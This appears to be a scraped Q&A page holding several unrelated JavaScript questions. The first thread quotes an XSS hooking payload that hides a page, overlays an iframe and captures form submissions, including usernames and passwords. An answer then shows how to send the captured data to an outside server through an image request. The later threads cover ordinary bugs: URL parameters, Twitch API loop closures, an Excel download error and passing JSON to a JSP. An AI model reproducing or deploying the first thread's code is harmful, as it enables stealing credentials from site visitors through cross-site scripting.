Javascript variable's output is empty when sent via HTTP Request - javascript

I have the following code (NOTE: The code isn't mine, I just want to modify it, here is the source: https://rileykidd.com/2013/06/06/the-xss-who-watched-me/). Here is the code from the website:
(function() {
var d = new Date();
function log(m){
var s = d;
for(i in m){ s += "\n" + i + ":" + m[i] + " "; }
console.log(s);
}
function spoof(k){
window.history.pushState({}, "", k);
}
function hook(){
$('#xss').contents().find('a').bind('click', function() {
log({"Event":"Link", "Current":document.URL, "Target":$(this).attr('href')});
spoof($(this).attr('href'));
});
$('#xss').contents().find('form').bind('submit', function() {
var l = {"Event":"Form", "Current":document.URL, "Target":$(this).attr('action')};
$.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
log(l);
spoof($(this).attr('action'));
});
}
function poison() {
if (self == top){
$('body').children().hide();
log({"Hooked":document.URL});
$('<iframe id="xss">').attr('src', document.URL).css({
"position":"fixed", "top":"0px", "left":"0px", "bottom":"0px", "right":"0px", "width":"100%", "height":"100%", "border":"none", "margin":"0", "padding":"0", "overflow":"hidden", "z-index":"999999"
}).appendTo('body').load(function(){
hook();
});
}
}
function poll() {
if (typeof(jQuery) !== 'undefined') {
clearInterval(interval);
poison();
}
}
if (typeof(jQuery) == 'undefined') {
var s = document.createElement('script');
s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'code.jquery.com/jquery-latest.min.js';
document.head.appendChild(s);
var interval = setInterval(poll, 50);
} else {
poison();
}
})();
My goal is to modify this code so that I can send a request to http://server.com the following variables: document.URL and $(this).attr('action'), so I added the following code instead of log(l) (line 19):
new Image().src = "http://server.com/file.php?data=" + document.URL + $(this).attr('action');
The problem is whenever I want to make a HTTP Request including this variable $(this).attr('action'), the output of the second variable I get in the server is empty. document.URL works just fine, however the second variable is what I am facing problem with. When I test the variable output into the browser it works perfectly (when executing log(l)), I get:
Current:http://somewebsite.com
Target:/login
utf8:✓
authenticity_token:random
back_url:http://somewebsite.com
username:something#email.com
password:my_secured_password
Now my goal is to send this output into the server.

You probably need to URI-encode your query params:
new Image().src = (
'http://server.com/file.php' +
'?url=' + encodeURIComponent(document.URL) +
'&action=' + encodeURIComponent($(this).attr('action'))
);
If you need to send log output to the server, modify your function log:
function log(m) {
var s = d;
for (i in m) {
s += "\n" + i + ":" + m[i] + " ";
}
console.log(s);
new Image().src = 'http://server.com/file.php?data=' + encodeURIComponent(s);
}

Related

Javascript window relocating adding unwanted parameter

I've been trying this for a lot of time now. I'm getting a value with the input and I'm trying to redirect the page by adding a new parameter and just passing dummy value 23 for now to the parameter number_range.
However, in the end in the window.location part it adds the parameter myurl/?e=1 always at the start. After that it redirects properly. How do I fix this. Please Help.
Also I'm new to javascript so please forgive my bad code and possible mistakes.
<h3>Price Filter</h3>
<input id="number_range" type="text"/><br>
<button onclick="filter_start(this,'gt'); return true;">Greater or equal</button><br>
<button onclick="filter_start(this,'ltt'); return false;">Less or equal</button>
<script language="javascript" type="text/javascript">
var filter_start = function(el, indicator){
setGetParameter("number_range", 23);
}
function setGetParameter(paramName, paramValue)
{
var url = window.location.href;
var hash = location.hash;
url = url.replace(hash, '');
if (url.indexOf("?") >= 0)
{
var params = url.substring(url.indexOf("?") + 1).split("&");
var paramFound = false;
params.forEach(function(param, index) {
var p = param.split("=");
if (p[0] == paramName) {
params[index] = paramName + "=" + paramValue;
paramFound = true;
}
});
if (!paramFound) params.push(paramName + "=" + paramValue);
url = url.substring(0, url.indexOf("?")+1) + params.join("&");
}
else
url += "?" + paramName + "=" + paramValue;
window.location.href = url + hash;
}
EDIT: Sorry just ran it in another place and this seems to work. I Think the problem then lies in Django's admin template or jquery.
Seems that you're missing some curly bracers. I've tidied your code very slightly:
var filter_start = function(el, indicator) {
setGetParameter("number_range", 23);
}
function setGetParameter(paramName, paramValue) {
var url = window.location.href;
var hash = location.hash;
url = url.replace(hash, '');
if (url.indexOf("?") >= 0) {
var params = url.substring(url.indexOf("?") + 1).split("&");
var paramFound = false;
params.forEach(function(param, index) {
var p = param.split("=");
if (p[0] == paramName) {
params[index] = paramName + "=" + paramValue;
paramFound = true;
}
});
if (!paramFound) params.push(paramName + "=" + paramValue);
url = url.substring(0, url.indexOf("?") + 1) + params.join("&");
} else {
url += "?" + paramName + "=" + paramValue;
window.location.href = url + hash;
}
}

Twitch TV API JSON Issue

I work with Twitch API. If the streamer streams I work with with property "Stream". But If he's not streaming, then I need refer to another link. Then I again turn to the function of the getJSON and pass there the necessary API link. And I'm working with her. However, the loop does not work as it should. It takes the last streamer out of the "channels" array, but it should all those who do not stream. I can not understand what the problem is. Help...
JSFiddle: https://jsfiddle.net/e7gLL25y/
JS Code:
var getJSON = function(url, callback) {
var xhr = new XMLHttpRequest();
xhr.open("GET", url, true);
xhr.onload = function() {
if(xhr.readyState == 4 && xhr.status == "200") {
callback(JSON.parse(xhr.responseText));
}
};
xhr.send();
};
var channels = ["summit1g", "esl_RuHub_CSGO", "Starladder1", "Senpai_Frozen", "tehvivalazz", "ESL_CSGO"];
var client_id = "hx3dea4ifwensxffoe8iwvekwvksnx";
var section = document.getElementById("main-section");
var streamer = [];
for(var i = 0; i < channels.length; i++) {
var url_channels = "https://api.twitch.tv/kraken/channels/" + channels[i] + "?client_id=" + client_id;
var url_streams = "https://api.twitch.tv/kraken/streams/" + channels[i] + "?client_id=" + client_id;
getJSON(url_streams, function(response) {
if( response["stream"] !== null ) {
streamer[i] = document.createElement("div");
streamer[i].className = "streamer";
streamer[i].innerHTML = "<a target='_blank' href='" + response.stream.channel["url"] +
"'><img id='streamer-image' src='" +
response.stream.channel["logo"] +
"' alt='Av' /><h2 id='streamer-name'>" +
response.stream.channel["name"] +
"</h2><p id='stream-status'>" +
response.stream["game"] + "</p></a>";
section.appendChild(streamer[i]);
} else {
getJSON(url_channels, function(r) {
streamer[i] = document.createElement("div");
streamer[i].className = "streamer";
streamer[i].innerHTML = "<a target='_blank' href='" + r["url"] +
"'><img id='streamer-image' src='" +
r["logo"] +
"' alt='Av' /><h2 id='streamer-name'>" +
r["name"] +
"</h2><p id='stream-status'>Offline</p></a>";
section.appendChild(streamer[i]);
});
}
});
}
You are having a common misconception about JavaScript contexts.
Refer to my answer here to see details about this problem: https://stackoverflow.com/a/42283571/1525495
Simply, the getJSON response is called after all the array is looped, so i will be the last index in all the responses. You have to create another context to keep the i number so is not increased.
for(var i = 0; i < channels.length; i++) {
var url_channels = "https://api.twitch.tv/kraken/channels/" + channels[i] + "?client_id=" + client_id;
var url_streams = "https://api.twitch.tv/kraken/streams/" + channels[i] + "?client_id=" + client_id;
(function(i) {
// i will not be changed by the external loop as is in another context
getJSON(url_streams, function(response) {
// Thingy things...
});
})(i);
}

Error parsing HTTP request header only when on server, works fine on local host

I am trying to get some data and present it as an Excel download. I do this through the following code:
"ajax": {
url: $('#url').val(),
type: "POST",
data: function (d) {
//("in data function");
if( $('#filter0').val() !=''){
d.columns[0]['search']['regex'] = true;
d.columns[0]['search']['value'] = $('#filter0').val();
$('#pageHeaderL2').html("<button class='myButton' style='cursor:default;' type='button' name='" + $('#filter0').val() + "'>" + $('#filter0').val() + "</button>");
//("set default facility");
}
if( $('#filter1').val() !=''){
d.columns[1]['search']['regex'] = true;
d.columns[1]['search']['value'] = $('#filter1').val();
$('#pageHeaderL5').html("<button class='myButton' style='cursor:default;' type='button' name='" + $('#filter0').val() + ":" + $('#filter1').val() + "'>" + $('#filter0').val() + ":" + $('#filter1').val() + "</button>");
//("set default module");
}
if($('#searchValueIn').val() != "")// depending on if you module search or global search the search string is stored in a different location, this saves the search val in a string
var searchVal = $('#searchValueIn').val();
else
var searchVal = $('#searchValueLocal').val();
var dd = $.extend({}, d, {
"originalSearchValue": searchVal
//"useDefaultFacility": $('#filter0').val() !='' ? true : false,
//"useDefaultModule": $('#filter1').val() !='' ? true : false,
});
currentTableMeta = dd;
return dd;
},
dataSrc: function(json) {
for ( var i=0, ien=json.data.length ; i<ien ; i++ ) {
json.data[i][0] = '<a href="/message/'+json.data[i][0]+'>View message</a>';
}
if($('#searchValueIn').val() != "")
var searchVal = $('#searchValueIn').val();
else
var searchVal = $('#searchValueLocal').val();
var hrefExcel= $('#excelurl').val() +'?searchValue='+ searchVal +'&' + $.param(currentTableMeta) ;
// debugger;
if($('#tableExcel').length < 1) {
$('#partTable_filter').css({left: 10, position:'absolute'});
$('#partTable_filter').prepend($('<a id="tableExcel" href="' + hrefExcel + '" class="btn" style="float:right; margin-left: 5px;"><i class="icon-table"></i> Excel</a>'));
/* $('#tableExcel').on("click",function(e) {
//var abc = $(currentTableMeta).serialize();
var abc = $.param(currentTableMeta);
debugger; }); */
// alert("in the IF");
$('#partTable_processing').before("<br /><br />");
}else{
$("#tableExcel").attr('href',hrefExcel);
//alert("in the else");
alert("After the Click");
}
tableSortRowObj = $("#sortRowState");
//("this current sort:" + tableSortRowObj);
updateFilterFields(json);
//("to isnert:" + newRowOfFilters);
return json.data;
}
},
This completely works when if I run it on my local tomcat server using Chrome or firefox, but once I deploy the code to my test server it doesn't work using chrome or IE. Firefox can download the excel but it doesn't download with a file extension. This is the error I get from the server:
Aug 16, 2016 12:16:20 PM org.apache.coyote.http11.AbstractHttp11Processor process
INFO: Error parsing HTTP request header
On my local host I get the following error from trying to run using IE.
org.apache.catalina.connector.ClientAbortException: java.net.SocketException: Connection reset by peer: socket write error

How to Clear then Append URL with JavaScript

I am trying to reload a page after a few seconds and append the URL with a variable containing new Lat Long coordinates. Consider the code snippet below that works with Leaflet:
var latlng = getQueryVariable("latlng");
if(latlng){
console.log(latlng); //working
}
function getQueryVariable(variable) {
var query = window.location.search.substring(1);
var vars = query.split("?");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if (pair[0] == variable) {
return pair[1];
}
}
alert('Query Variable ' + variable + ' not found');
}
function onMapClick(e) {//Coordinate pop up
popup.setLatLng(e.latlng)
.setContent("Coordinates clicked are: " + e.latlng.toString())
.openOn(map);
var centerPoint = map.getSize().divideBy(2),
targetPoint = centerPoint.subtract([1500, 0]),
targetLatLng = map.containerPointToLatLng(centerPoint), //retrieve new lat longs
loadLatlng = "?latlng="+targetLatLng.lat+","+targetLatLng.lng;
setTimeout(function(){
//And herein lies the problem - the URL is being concatenated ??
window.location.href = window.location.href + loadLatlng;
window.location.href.reload(1);
}, 5000);
}
Does anyone know how to clear and then append the URL?
Thanks.
Build the url using the parts
window.location.href = [location.protocol, '//', location.host, location.pathname, loadLatlng].join("");
Same thing as
window.location.href = location.protocol + '//' + location.host + location.pathname + loadLatlng;
You could also do it a dirty way with splitting the current url on the ?
window.location.href = window.location.href.split("?")[0] + loadLatlng;

Unable to pass JSONObject from JAVA Class to jsp

I have looked at this example but I am still unable to retrieve the JSON Object in the jsp. Here's the code in my MyCalendarController.java class:
public class MyCalendarController implements Controller{
public ModelAndView handleRequest(HttpServletRequest request,
HttpServletResponse response) throws Exception {
if("Add".equals(request.getParameter("action"))){
...
JSONObject jObj = new JSONObject();
jObj.put("test", "Success");
response.getWriter().write(jObj.toString());
...
}
return new ModelAndView("mycalendar", "model", myModel);
}
and here's how I'm trying to retrieve it in jsp but the alert always says 'undefined'
var queryString = "?action=Add";
queryString += "&t=" + title;
queryString += "&sDT=" + stDate + "T" + stHour + ":" + stMin + ":00";
queryString += "&eDT=" + eDate + "T" + eHour + ":" + eMin + ":00";
$.ajax({
type:"GET",
url: "mycalendar.htm" + queryString,
success: function(response){
alert(response.test);
}
});
Note: I am trying to create the JSON Object when the ajax call is made to the class from the jsp. I am new to ajax and javascript so must be doing something wrong... Please help!!!
In the above mentioned code, the response.responseText property is 'undefined'. But I tried it another way:
var ajaxRequest;
try{
ajaxRequest = new XMLHttpRequest();
}catch (e){
try{
ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP");
}catch (e) {
try{
ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP");
}catch (e){
alert("Your browser broke!");
return false;
}
}
}
ajaxRequest.onreadystatechange = function(){
if(ajaxRequest.readyState == 4){
alert(ajaxRequest.responseText);
alert("test: " + ajaxRequest.test);
}
}
var queryString = "?action=Add";
queryString += "&t=" + title;
queryString += "&sDT=" + stDate + "T" + stHour + ":" + stMin + ":00";
queryString += "&eDT=" + eDate + "T" + eHour + ":" + eMin + ":00";
ajaxRequest.open("GET", "mycalendar.htm" + queryString, true);
ajaxRequest.send(null);
This way I get the ajaxRequest.responseText but the alert("test: " + ajaxRequest.test); still shows undefined
var a = '<%=DropDown.returnList()%>';
var countryObj = JSON.parse(a);
var s = $('#selectCountry');
for(var val in countryObj)
{
$('<option />', {value: val, text: countryObj[val]}).appendTo(s);
}
Try to alert(response.responseText),I am not sure.

Categories